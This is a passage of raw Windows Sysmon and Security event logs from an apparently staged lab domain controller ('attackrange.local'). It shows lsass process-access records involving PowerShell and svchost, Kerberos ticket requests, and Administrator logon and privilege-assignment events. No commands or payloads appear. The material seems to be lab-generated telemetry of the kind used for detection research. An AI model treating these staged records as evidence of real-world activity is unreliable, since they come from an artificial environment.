11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222207,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222208,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222209,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222210,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x898B3\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x898b3","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{E09B936C-BA62-F5FA-D310-CFCEA6641D0F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222211,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x898B3\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x898b3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.181","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.181\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\nt